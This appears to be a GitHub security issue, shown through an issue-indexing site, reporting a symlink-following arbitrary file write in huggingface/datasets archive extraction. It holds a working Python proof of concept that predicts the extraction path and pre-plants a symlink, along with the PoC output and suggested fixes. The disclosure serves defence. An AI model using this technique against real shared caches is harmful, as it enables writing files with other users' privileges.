huggingface / huggingface/datasets

[security] Symlink-Following Arbitrary File Write via Archive Extraction in huggingface/datasets

Open
#8,296 3 comments 0 reactions 0 assignees View on GitHub
Dominant language
Python
Stars
22k
Forks
3.4k
Avg merge
5d 7h
Merged PRs (30d)
17

Description

### Describe the bug

## Summary

A symlink-following vulnerability exists in the archive extraction subsystem of `huggingface/datasets` that allows a local attacker with write access to a shared HuggingFace cache directory to write arbitrary files with the victim's privileges, by pre-planting a symlink at a predictable extraction output path.

The root cause is that `Extractor.extract()` in `src/datasets/utils/extract.py` calls `shutil.rmtree(output_path, ignore_errors=True)` which **silently fails** when `output_path` is a symlink (Python ≥3.8 documented behavior), then proceeds to extract archive contents through the surviving symlink via `os.makedirs(output_path, exist_ok=True)` + `extractall()`.

The existing `safemembers()` defense (CVE-2007-4559 zip-slip mitigation) only validates archive **member names** — it is completely blind to the output directory itself being a symlink. The extraction output path is fully predictable (`sha256` with no salt).

In shared-cache deployments (CI runners, multi-user ML servers, NFS mounts, Docker volumes), this yields **arbitrary file write as the victim** → privilege escalation / code execution.
## Vulnerability Details

### Vulnerable function: `Extractor.extract()`

```python
# src/datasets/utils/extract.py, line 432-444
@classmethod
def extract(cls, input_path, output_path, extractor_format):
os.makedirs(os.path.dirname(output_path), exist_ok=True)
lock_path = str(Path(output_path).with_suffix(".lock"))
with FileLock(lock_path):
shutil.rmtree(output_path, ignore_errors=True) # ← silent no-op on symlink
extractor = cls.extractors[extractor_format]
return extractor.extract(input_path, output_path) # ← follows the symlink
```

### Sink: format-specific extractors

```python
# TarExtractor.extract(), line 128-132 (identical pattern in Zip/Rar/7z)
@staticmethod
def extract(input_path, output_path):
os.makedirs(output_path, exist_ok=True) # ← follows symlink
tar_file = tarfile.open(input_path)
tar_file.extractall(output_path, members=TarExtractor.safemembers(...)) # ← writes to target
```

### Why `shutil.rmtree` fails silently

Since Python 3.8 ([bpo-35699](https://bugs.python.org/issue35699)), `shutil.rmtree()` raises `OSError` when the path is a symbolic link to a directory. With `ignore_errors=True`, this exception is swallowed. The symlink, its target, and all target contents survive completely intact.

### Why `safemembers` does NOT mitigate

```python
# safemembers() resolves output_path THROUGH the symlink:
base = os.path.realpath(os.path.abspath(output_path)) # → attacker's target dir
# All archive members are relative to base, so they trivially pass:
# resolved(os.path.join(base, member_name)).startswith(base) → always True
```

### Steps to reproduce the bug

### Exploit

```python
import hashlib
import os
import shutil
import sys
import tempfile

CACHE = tempfile.mkdtemp(prefix="hf_poc_")
os.environ["HF_HOME"] = CACHE
os.environ["HF_DATASETS_CACHE"] = CACHE

import datasets
from datasets.download.download_config import DownloadConfig
from datasets.download.download_manager import DownloadManager

ARCHIVE_URL = "https://huggingface.co/datasets/AI-Lab-Makerere/beans/resolve/main/data/train.zip"

def predict_extraction_path(downloaded_file: str) -> str:
h = hashlib.sha256(os.path.abspath(downloaded_file).encode()).hexdigest()
return os.path.join(CACHE, "downloads", "extracted", h)

# Step 1: victim downloads the archive (normal usage)
dl_config = DownloadConfig(cache_dir=os.path.join(CACHE, "downloads"))
dl_manager = DownloadManager(dataset_name="beans", download_config=dl_config)
downloaded = dl_manager.download(ARCHIVE_URL)

# Step 2: attacker plants symlink at predictable extraction output
target_dir = tempfile.mkdtemp(prefix="pwned_")
extract_path = predict_extraction_path(downloaded)
os.makedirs(os.path.dirname(extract_path), exist_ok=True)
os.symlink(target_dir, extract_path)

# Step 3: victim triggers extraction (same as load_dataset with script-based dataset)
extracted = dl_manager.extract(downloaded)

# Verify
written = []
for root, _, files in os.walk(target_dir):
written.extend(files)

print(f"datasets=={datasets.__version__}")
if written:
print(f"[+] {len(written)} files written through symlink to {target_dir}")
print(f" extraction_path (symlink): {extract_path}")
print(f" sample files: {written[:5]}")
sys.exit(0)
else:
print("[-] exploit failed")
sys.exit(1)

```

### PoC output

```
datasets==5.0.0
[+] 1035 files written through symlink to /tmp/pwned_b47xqr3l
extraction_path (symlink): /tmp/hf_poc_.../downloads/extracted/9afad9e56ab3c5...
sample files: ['healthy_train.265.jpg', 'healthy_train.271.jpg', 'healthy_train.259.jpg']
```

Image

### Expected behavior

### Output path predictability

```python
# ExtractManager._get_output_path(), line 34-40
abs_path = os.path.abspath(path)
return os.path.join(self.extract_dir, hash_url_to_filename(abs_path))

# hash_url_to_filename(): sha256(url), docstring: "in a repeatable way", no salt
```

Given `(cache_dir, dataset_url)` — both public/predictable — the attacker computes the exact extraction path.
## Suggested Fix

Add symlink rejection before extraction, or use atomic extract-then-rename:

```python
# Option A: reject symlinks (minimal change)
@classmethod
def extract(cls, input_path, output_path, extractor_format):
os.makedirs(os.path.dirname(output_path), exist_ok=True)
lock_path = str(Path(output_path).with_suffix(".lock"))
with FileLock(lock_path):
if os.path.islink(output_path):
os.unlink(output_path) # remove the symlink itself
shutil.rmtree(output_path, ignore_errors=True)
extractor = cls.extractors[extractor_format]
return extractor.extract(input_path, output_path)

# Option B: atomic extract-then-rename (strongest)
with FileLock(lock_path):
tmp = tempfile.mkdtemp(dir=os.path.dirname(output_path))
try:
extractor.extract(input_path, tmp)
if os.path.islink(output_path):
os.unlink(output_path)
elif os.path.isdir(output_path):
shutil.rmtree(output_path)
os.rename(tmp, output_path)
except:
shutil.rmtree(tmp, ignore_errors=True)
raise
```

### Environment info

### Environment

| Component | Detail |
|-----------|--------|
| datasets | 5.0.0 (pip install) |
| Python | 3.11.0 |
| Dataset | AI-Lab-Makerere/beans (real Hub download) |
| Attack surface | Shared HF cache directory |

Contributor guide

Open the contributing guide

Research direction

Start in src/datasets/utils/extract.py at Extractor.extract(), then inspect TarExtractor.extract() and the corresponding Zip, Rar, and 7z extractors. Reproduce the symlink case from the issue and trace the existing safemembers() checks; done means extraction cannot write through a pre-planted output-path symlink while normal archive extraction remains intact.

Written by the indexing model from the issue text.

Assessment

Tech stack
python
Domain
backend, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Active
Clarity
Clearly specified
Newbie friendliness
55/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.